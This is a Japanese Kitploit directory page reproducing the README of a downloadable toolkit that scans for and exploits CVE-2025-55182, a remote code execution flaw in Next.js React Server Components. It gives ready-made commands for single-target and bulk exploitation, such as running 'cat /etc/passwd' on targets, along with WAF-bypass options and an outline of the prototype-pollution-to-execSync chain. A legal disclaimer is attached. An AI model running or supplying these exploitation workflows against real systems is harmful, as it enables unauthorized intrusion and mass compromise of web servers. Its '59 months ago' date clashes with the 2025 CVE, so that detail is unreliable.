Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-55182-NextJS-Scanner-React2Shell-PoC — CVE-2025-55182(Next.js React Server Componentsにおける重大なRCE)の自動検出および悪用ツールキット。多層フィンガープリンティング、WAFバイパス、バルクスキャンによるペネトレーションテスト機能を搭載。 | Kitploit
ツール/GitHubGitHub/exrienz/cve-2025-55182-nextjs-scanner-react2shell-poc
偵察脆弱性スキャナーペイロード生成エクスプロイトウェブアプリケーション悪用WAFバイパスペネトレーションテストコマンド&コントロール

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHub
exrienz/cve-2025-55182-nextjs-scanner-react2shell-poc

CVE-2025-55182-NextJS-Scanner-React2Shell-PoC

CVE-2025-55182(Next.js React Server Componentsにおける重大なRCE)の自動検出および悪用ツールキット。多層フィンガープリンティング、WAFバイパス、バルクスキャンによるペネトレーションテスト機能を搭載。

リポジトリを見る
59ヶ月前未レビュー

CVE-2025-55182 エクスプロイトツール

Next.js React Server Components のリモートコード実行脆弱性 (CVE-2025-55182) をテストするための包括的なセキュリティ研究ツールです。

概要

このツールキットは、React Server Components を使用する Next.js アプリケーションに影響を与える重大な RCE 脆弱性 CVE-2025-55182 に対する自動検出およびエクスプロイト機能を提供します。ツールキットは、以下の3つの統合コンポーネントで構成されています:

  • NextApp.py - インテリジェントな Next.js アプリケーションフィンガープリントスキャナー
  • exploit.sh - 単一または複数ターゲット向けの柔軟なエクスプロイトツール
  • auto_exploit.sh - エンドツーエンドの自動スキャンおよびエクスプロイトオーケストレーター

特徴

  • 多層検出: ヘッダー分析、ボディスキャン、JavaScript フィンガープリンティング
  • 信頼度スコアリング: 誤検出を最小限に抑えるインテリジェントな分類 (高/中/低)
  • WAFバイパス: 一般的な Web アプリケーションファイアウォールを回避する組み込みテクニック
  • 一括スキャン: 詳細なレポートで複数ターゲットを効率的に処理
  • 自動化ワークフロー: ワンコマンドでの検出とエクスプロイト
  • 詳細なレポート: カテゴリ別に分類された結果を含む包括的な出力ファイル

必要条件

Python コンポーネント

  • Python 3.x
  • requests ライブラリ
root@kitploit:~
pip3 install requests

Bash コンポーネント

  • curl
  • openssl
  • 標準 Unix ユーティリティ (sed, grep, awk, mktemp)

インストール

root@kitploit:~
git clone https://github.com/yourusername/CVE-2025-55182-poc-tool.git
cd CVE-2025-55182-poc-tool
chmod +x exploit.sh auto_exploit.sh

使い方

クイックスタート (推奨)

ターゲットをスキャンしてエクスプロイトする最も速い方法:

root@kitploit:~
# Create a file with target URLs (one per line)
echo "https://example.com" > targets.txt

# Auto-scan and exploit in one command
./auto_exploit.sh -i targets.txt -s -c "id"

検出のみ

エクスプロイトなしで Next.js アプリケーションを識別:

root@kitploit:~
python3 NextApp.py targets.txt

出力ファイル:

  • confirmed_nextjs_targets.txt - 検出されたすべての Next.js アプリケーション
  • high_confidence_nextjs_targets.txt - 高信頼度の検出結果のみ

単一ターゲットエクスプロイト

個別のターゲットをテスト:

root@kitploit:~
# Basic exploitation
./exploit.sh -d https://target.com -c "whoami"

# With WAF bypass
./exploit.sh -d target.com -c "cat /etc/passwd" -w

# Custom WAF bypass size
./exploit.sh -d target.com -c "ls -la" --waf-bypass --waf-size 256

# Skip SSL verification
./exploit.sh -d https://target.com -c "id" -k

一括エクスプロイト

オプション 1: 統一ワークフロー (推奨)

root@kitploit:~
./auto_exploit.sh -i targets.txt -s -c "whoami"

オプション 2: 2ステップの手動ワークフロー

root@kitploit:~
# Step 1: Detect Next.js applications
python3 NextApp.py targets.txt

# Step 2: Exploit confirmed targets
./auto_exploit.sh -c "id"

高度なオプション

root@kitploit:~
# Full auto-scan with WAF bypass
./auto_exploit.sh -i targets.txt -s -w --waf-size 256 -c "whoami"

# Custom delays and timeouts
./auto_exploit.sh -i targets.txt -s --delay 5 --timeout 30 -c "id"

# Skip SSL verification in bulk mode
./auto_exploit.sh -i targets.txt -s -k -c "hostname"

コマンドリファレンス

NextApp.py

root@kitploit:~
python3 NextApp.py <targets_file>

引数:

  • targets_file - ターゲットURLを含むテキストファイル (1行に1つ)

exploit.sh

root@kitploit:~
./exploit.sh [OPTIONS]

オプション:

auto_exploit.sh

root@kitploit:~
./auto_exploit.sh [OPTIONS]

オプション:

出力ファイル

confirmed_nextjs_targets.txt

NextApp.py によって生成 - Next.js アプリケーションとして識別されたすべてのURLが含まれます。

high_confidence_nextjs_targets.txt

NextApp.py によって生成 - 高信頼度の Next.js 検出結果のみを含みます (信頼度スコア 100+)。

exploit_results.txt

auto_exploit.sh によって生成 - 以下の内容を含む包括的なエクスプロイトレポート:

  • 脆弱なターゲットとコマンド出力
  • 非脆弱なターゲット
  • エラーとその詳細
  • サマリー統計

検出方法論

スキャナーは信頼度スコアリングシステムを用いた複数の検出技術を使用します:

ヘッダー分析 (各50ポイント)

  • Next.js固有のヘッダー: x-nextjs-*, x-vercel-*
  • x-powered-by: Next.js
  • Server: Vercel

ボディスキャン

  • __NEXT_DATA__ の存在 (100ポイント)
  • Next.js buildId パターン (50ポイント)
  • _next/* アセットパス (数量に応じて25-75ポイント)

JavaScript フィンガープリンティング (60ポイント)

  • __NEXT_DATA__, __NEXT_LOADED_PAGES__
  • middlewareManifest, self.__RSC_MANIFEST

信頼度のしきい値:

  • 高 (100+): 複数の強力な指標
  • 中 (75-99): いくつかの中程度の指標
  • 低 (50-74): 最小限の証拠
  • 50未満: 誤検出として却下

エクスプロイトメカニズム

エクスプロイトは、Next.js React Server Components におけるプロトタイプ汚染チェーンを利用します:

  1. ネストされたペイロードを含むマルチパートフォームデータを構築
  2. JSONデシリアライゼーションを介して __proto__ チェーンを汚染
  3. _response._prefix に任意のJavaScriptを注入
  4. process.mainModule.require('child_process').execSync() を介してコマンドを実行
  5. X-Action-Redirect ヘッダーから結果を抽出
  6. URLデコードして出力をフォーマット

WAFバイパステクニック

ツールキットには組み込みのWAFバイパス機能が含まれています:

  • ジャンクデータ注入: サイズベースのフィルターを回避するためにランダムデータを先頭に追加
  • 動的バウンダリ: ランダム化されたマルチパートバウンダリ
  • リクエストIDのランダム化: リクエストごとにユニークなID
  • 設定可能なサイズ: 調整可能なジャンクデータサイズ (デフォルト128KB)

-w または --waf-bypass フラグで有効にします。

例

Webアプリケーションのスキャンとエクスプロイト

root@kitploit:~
# Create target list
cat > targets.txt << EOF
https://app.example.com
https://dashboard.example.com
https://admin.example.com
EOF

# Run unified scan
./auto_exploit.sh -i targets.txt -s -c "whoami"

# Check results
cat exploit_results.txt

WAFバイパスを使用した単一ターゲットのテスト

root@kitploit:~
./exploit.sh -d https://target.com -c "cat /etc/passwd" -w --waf-size 256

高信頼度ターゲットのみ

root@kitploit:~
# Step 1: Detect and filter
python3 NextApp.py targets.txt

# Step 2: Exploit high-confidence only
./auto_exploit.sh -i high_confidence_nextjs_targets.txt -c "id"

法的免責事項

このツールは、許可されたセキュリティテストおよび研究目的のみを対象としています。ユーザーは以下を遵守する必要があります:

  • ✅ システムのテスト前に明示的な書面による許可を得ること
  • ✅ 許可された侵入テスト業務でのみ使用すること
  • ✅ すべての該当する法律および規制を遵守すること
  • ✅ 防御的なセキュリティ研究およびCTFコンテストに使用すること

コンピュータシステムへの不正アクセスは違法です。 著者はこのツールの誤用に対する一切の責任を負いません。

脆弱性情報

  • CVE ID: CVE-2025-55182
  • 影響を受けるもの: Next.js React Server Components
  • タイプ: リモートコード実行 (RCE)
  • 重要度: 深刻

クレジット

この脆弱性を発見および開示したセキュリティ研究者に感謝します:

  • @zack0x01
  • @infosec_au
  • @pdiscoveryio

貢献

貢献を歓迎します!以下の手順に従ってください:

  1. リポジトリをフォーク
  2. 機能ブランチを作成
  3. 変更をコミット
  4. プルリクエストを送信

サポート

問題、質問、機能リクエストについては、GitHubでIssueを開いてください。

ライセンス

このプロジェクトは教育および許可されたセキュリティテスト目的で提供されます。責任を持って倫理的に使用してください。

ツールをダウンロード
オプション説明デフォルト
-d, --domainターゲットドメイン/URLhttp://localhost:3000
-f, --fileターゲットリストを含むファイル-
-c, --command実行するコマンドid
-w, --waf-bypassWAFバイパスを有効化無効
--waf-size SIZEWAFバイパスデータサイズ (KB)128
--timeout SECONDSリクエストタイムアウト15
-k, --insecureSSL検証をスキップ無効
--user-agent AGENTカスタムUser-AgentMozilla/5.0...
-h, --helpヘルプメッセージを表示-
オプション説明デフォルト
-i, --input FILE入力ターゲットファイルconfirmed_nextjs_targets.txt
-o, --output FILE出力結果ファイルexploit_results.txt
-c, --command CMD実行するコマンドid
-w, --waf-bypassWAFバイパスを有効化無効
--waf-size SIZEWAFバイパスサイズ (KB)128
--timeout SECONDSリクエストタイムアウト15
-k, --insecureSSL検証をスキップ無効
--delay SECONDSリクエスト間の遅延2
-s, --scan最初にNext.jsを自動スキャン無効
-h, --helpヘルプメッセージを表示-